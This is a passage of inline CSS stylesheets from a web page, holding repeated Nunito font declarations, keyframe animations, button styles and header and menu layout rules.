-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__footer .footer__label .label__subtitle.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__balances--card .balances--card__footer .footer__button .button__loading {
width: 120px;
height: 50px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__balances--card .balances--card__footer .footer__button .button {
padding: 12px 24px;
white-space: nowrap;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__balances--card .balances--card__footer .footer__button .button .button__content {
font-family: Nunito-SemiBold;
font-size: 16px;
line-height: 24px;
color: #122e43; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.button {
border: 0;
border-radius: 6px;
line-height: 140%;
outline: 0;
cursor: pointer;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.button.button--primary.button--default {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%);
color: #ffffff; }
.button.button--primary.button--default:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7); }
.button.button--primary.button--default:focus {
-webkit-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-o-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7); }
.button.button--primary.button--default:disabled {
background: #cbd4dc;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.button.button--primary.button--paris {
background: #009ce0;
color: #ffffff; }
.button.button--primary.button--paris:hover {
background: #009ce0 !important;
-webkit-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7); }
.button.button--primary.button--paris:focus {
background: #009ce0 !important;
-webkit-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
-o-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7); }
.button.button--primary.button--paris:disabled {
background: #cbd4dc;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.button.button--secondary {
background: #f4f6f8;
color: #122e43;
border: 1px solid #e1e5e9; }
.button.button--secondary:hover {
background: #e8ecf0;
border: 1px solid #e1e5e9; }
.button.button--secondary:focus {
background: #f4f6f8;
border: 1px solid #e1e5e9; }
.button.button--secondary:disabled {
background: #dbe2e7;
color: #ffffff;
cursor: no-drop; }
.button.button--tertiary {
background: #ffffff;
color: #416179;
border: 1px solid #cbd4dc; }
.button.button--tertiary:hover {
border: 1px solid #416179; }
.button.button--tertiary:focus {
border: 1px solid #cbd4dc; }
.button.button--tertiary:disabled {
background: #ffffff;
color: #cbd4dc;
border: 1px solid #e8ecf0;
cursor: no-drop; }
.button.button--quaternary {
background: #FD2E00;
color: #ffffff; }
.button.button--quaternary:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(253, 46, 0, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(253, 46, 0, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(253, 46, 0, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(253, 46, 0, 0.7);
box-shadow: 0px 16px 16px -10px rgba(253, 46, 0, 0.7); }
.button.button--quaternary:focus {
-webkit-box-shadow: 0px 0px 10px rgba(253, 46, 0, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(253, 46, 0, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(253, 46, 0, 0.7);
-o-box-shadow: 0px 0px 10px rgba(253, 46, 0, 0.7);
box-shadow: 0px 0px 10px rgba(253, 46, 0, 0.7); }
.button.button--quaternary:disabled {
background: #cbd4dc;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.button.button--small {
padding: 8px 30px;
font-size: 14px; }
.button.button--small img {
width: 15px; }
.button.button--medium {
padding: 8px 50px;
font-size: 17px; }
.button.button--medium img {
width: 22px; }
.button.button--large {
padding: 12px 70px;
font-size: 17px; }
.button.button--large img {
width: 22px; }
.button .button__content {
font-family: Nunito-Bold;
display: flex;
justify-content: center;
align-items: center; }
.button .button__content .content__icon.left {
order: -1;
margin-right: 6px; }
.button .button__content .content__icon.right {
margin-left: 6px; }
@media (max-width: 727px) {
.button {
width: 100%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-header-integrated-global {
width: 100%;
height: auto;
position: absolute;
top: 0;
left: 0;
z-index: 9; }
.main-header-integrated-global.active {
opacity: 25%;
background-color: #000000; }
@media (max-width: 1025px) {
.main-header-integrated-global.active {
height: 100%; } }
.main-header-integrated {
font-family: Nunito-Regular;
position: fixed;
z-index: 999;
top: 0;
left: 0;
width: 100%; }
.main-header-integrated .main-header-integrated-header {
display: none; }
@media (max-width: 1025px) {
.main-header-integrated .main-header-integrated-header {
width: 100%;
height: 71px;
display: flex;
flex-direction: column;
background-color: #ffffff; } }
@media (max-width: 1025px) {
.main-header-integrated .main-header-integrated-header .header-logos-bar {
background: linear-gradient(270deg, #FD8300 0.05%, #F10001 37%, #F10092 65.11%, #056BB1 99.97%);
height: 5px;
width: 100%; } }
.main-header-integrated .main-header-integrated-header .main-header-integrated-header-content {
display: flex;
justify-content: space-between;
padding: 0 20px;
height: 100%;
align-items: center; }
.main-header-integrated .main-header-integrated-header .main-header-integrated-header-content .logo-content {
height: 40px;
width: 98px; }
.main-header-integrated .main-header-integrated-header .main-header-integrated-header-content .logo-content img {
height: 40px;
width: 98px; }
.main-header-integrated .main-header-integrated-header .main-header-integrated-header-content .header-integrated-buttons-content {
display: flex;
width: 170px;
justify-content: space-between; }
.main-header-integrated .main-header-integrated-header .main-header-integrated-header-content .header-integrated-buttons-content .button {
padding: 8px 16px;
white-space: nowrap;
width: 140px; }
@media (max-width: 1025px) {
.main-header-integrated .main-header-integrated-menu {
flex-direction: column;
background-color: #ffffff;
margin-right: -320px;
display: flex;
position: fixed;
top: 0;
right: 0;
bottom: 0;
max-width: 320px;
overflow-y: scroll;
overflow-x: hidden;
-webkit-transition: all 1s;
-moz-transition: all 1s;
-ms-transition: all 1s;
-o-transition: all 1s;
transition: all 1s; }
.main-header-integrated .main-header-integrated-menu.active {
margin-right: 0px; } }
@media (max-width: 1025px) {
.main-header-integrated .main-header-integrated-menu .main-header-logos {
order: 1; } }
@media (max-width: 1025px) {
.main-header-integrated .main-header-integrated-menu .main-header-info {
order: 3;
margin-top: 25px;
margin-bottom: 70px; } }
@media (max-width: 1025px) {
.main-header-integrated .main-header-integrated-menu .main-header-menu {
order: 2; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-header-info {
display: flex;
flex-direction: column; }
@media (max-width: 1025px) {
.main-header-info {
max-width: 320px; } }
.main-header-info .main-header-logos-content {
padding: 0px 38px;
display: flex;
height: 96px;
background-color: #f8f9fb;
justify-content: space-between; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content {
height: 188px;
padding: 0px;
flex-direction: column;
background-color: #ffffff; } }
.main-header-info .main-header-logos-content .logo-content {
display: flex;
align-items: center;
justify-content: flex-start;
padding: 14px 0px 25px 0px; }
.main-header-info .main-header-logos-content .logo-content img {
width: 140px;
height: 57px; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .logo-content {
display: none; } }
.main-header-info .main-header-logos-content .info-content {
display: flex;
align-items: center; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .info-content {
flex-direction: column;
margin-right: 0;
justify-content: space-between;
height: 188px; } }
.main-header-info .main-header-logos-content .info-content .info-content-offices {
display: flex;
align-items: center;
border-radius: 18px;
background: #FFEE93;
height: 19px;
padding: 4px 0px;
font-size: 14px;
font-family: Nunito-SemiBold;
line-height: 19px;
text-align: center;
text-decoration: none;
color: #191E2C;
width: 161px;
white-space: nowrap; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .info-content .info-content-offices {
max-width: 294px;
height: 42px;
width: 100%;
border-radius: 27px;
font-size: 16px; } }
.main-header-info .main-header-logos-content .info-content .info-content-offices .img-location {
margin: 0px 10px 0px 8px; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .info-content .info-content-offices .img-location {
margin: 0px 7px 0px 16px; } }
.main-header-info .main-header-logos-content .info-content .info-content-offices .img-ellipce {
padding-bottom: 24px;
display: flex; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .info-content .info-content-offices .img-ellipce {
display: none; } }
.main-header-info .main-header-logos-content .info-content .info-content-phones {
display: flex;
font-family: Nunito-Regular;
font-size: 14px;
line-height: 19px;
justify-content: space-between;
color: #222D4B;
margin-left: 25px;
align-items: center; }
.main-header-info .main-header-logos-content .info-content .info-content-phones a {
text-decoration: none;
color: #ff7a02;
font-family: Nunito-Bold;
font-size: 14px;
line-height: 19px;
margin-left: 5px; }
.main-header-info .main-header-logos-content .info-content .info-content-phones img {
margin-right: 5px; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .info-content .info-content-phones {
display: none; } }
.main-header-info .main-header-logos-content .info-content .info-content-text-phones {
display: none; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .info-content .info-content-text-phones {
display: flex;
width: 100%;
max-width: 294px;
color: #416179;
font-size: 16px;
font-family: Nunito-SemiBold;
margin-left: 30px; } }
.main-header-info .main-header-logos-content .info-content .info-content-phones-mobile {
display: none; }
@media (max-width: 1025px) {
.main-header-info .main-header-logos-content .info-content .info-content-phones-mobile {
display: flex;
max-width: 294px;
width: 100%;
justify-content: space-between; }
.main-header-info .main-header-logos-content .info-content .info-content-phones-mobile .info-content-phones-button {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: center;
width: 90px;
height: 90px;
border-radius: 10px;
font-family: Nunito-SemiBold;
font-size: 14px;
line-height: 14px;
text-align: center;
background: #f0f2f5; }
.main-header-info .main-header-logos-content .info-content .info-content-phones-mobile .info-content-phones-button img {
margin-top: 16px;
width: 18px;
height: 18px; }
.main-header-info .main-header-logos-content .info-content .info-content-phones-mobile .info-content-phones-button a {
margin-top: 13px;
text-decoration: none;
color: #222D4B; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-header-logos {
display: flex;
flex-direction: column; }
@media (min-width: 1025px) {
.main-header-logos {
-webkit-transition: all 0.2s;
-moz-transition: all 0.2s;
-ms-transition: all 0.2s;
-o-transition: all 0.2s;
transition: all 0.2s;
margin-top: 0px; }
.main-header-logos.scroll {
margin-top: -50px; } }
@media (max-width: 1025px) {
.main-header-logos {
width: 320px; } }
.main-header-logos .header-logos-bar {
background: linear-gradient(270deg, #FD8300 0.05%, #F10001 37%, #F10092 65.11%, #056BB1 99.97%);
height: 5px;
width: 100%; }
@media (max-width: 1025px) {
.main-header-logos .header-logos-bar {
display: none; } }
.main-header-logos .main-header-logos-content {
display: flex;
height: 45px;
background-color: #191E2C; }
@media (max-width: 1025px) {
.main-header-logos .main-header-logos-content {
overflow: hidden;
flex-direction: column;
height: 107px; } }
.main-header-logos .main-header-logos-content .header-logos-content-close {
display: none; }
@media (max-width: 1025px) {
.main-header-logos .main-header-logos-content .header-logos-content-close {
display: flex;
align-items: center;
justify-content: space-between; } }
@media (max-width: 1025px) {
.main-header-logos .main-header-logos-content .header-logos-content-close span {
padding-left: 15px;
font-size: 18px;
font-family: Nunito-Bold;
color: #ffffff; } }
@media (max-width: 1025px) {
.main-header-logos .main-header-logos-content .header-logos-content-close img {
margin-right: 30px;
width: 26px;
height: 66px; } }
.main-header-logos .main-header-logos-content .logos-content {
display: flex;
align-items: flex-end;
justify-content: flex-start;
width: 100%;
max-width: 1300px;
overflow-x: scroll;
padding-left: 20px;
margin: 0 auto;
/* Hide scrollbar for Chrome, Safari and Opera
need in css: .example::-webkit-scrollbar */
-ms-overflow-style: none;
/* IE and Edge */
scrollbar-width: none;
/* Firefox */ }
.main-header-logos .main-header-logos-content .logos-content::-webkit-scrollbar {
display: none; }
@media (max-width: 1025px) {
.main-header-logos .main-header-logos-content .logos-content {
padding: 5px 11px 0;
justify-content: flex-start; } }
.main-header-logos .main-header-logos-content .logos-content .logos-content-items {
background-position: 8px 11px;
background-repeat: no-repeat;
color: #ffffff;
background-color: #0000;
text-decoration: none;
font-size: 12px;
border-radius: 10px 10px 0 0;
font-family: Nunito-SemiBold;
padding: 10px 19px 14px 29px;
background-size: 15px 16px; }
@media (max-width: 1025px) {
.main-header-logos .main-header-logos-content .logos-content .logos-content-items {
padding: 12px 13px 12px 34px;
background-position: 12px 13px;
white-space: nowrap; } }
.main-header-logos .main-header-logos-content .logos-content .logos-content-items:hover {
background-color: #ffffff30; }
.main-header-logos .main-header-logos-content .logos-content .logos-content-items.active {
background-color: #ffffff;
color: #191E2C; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
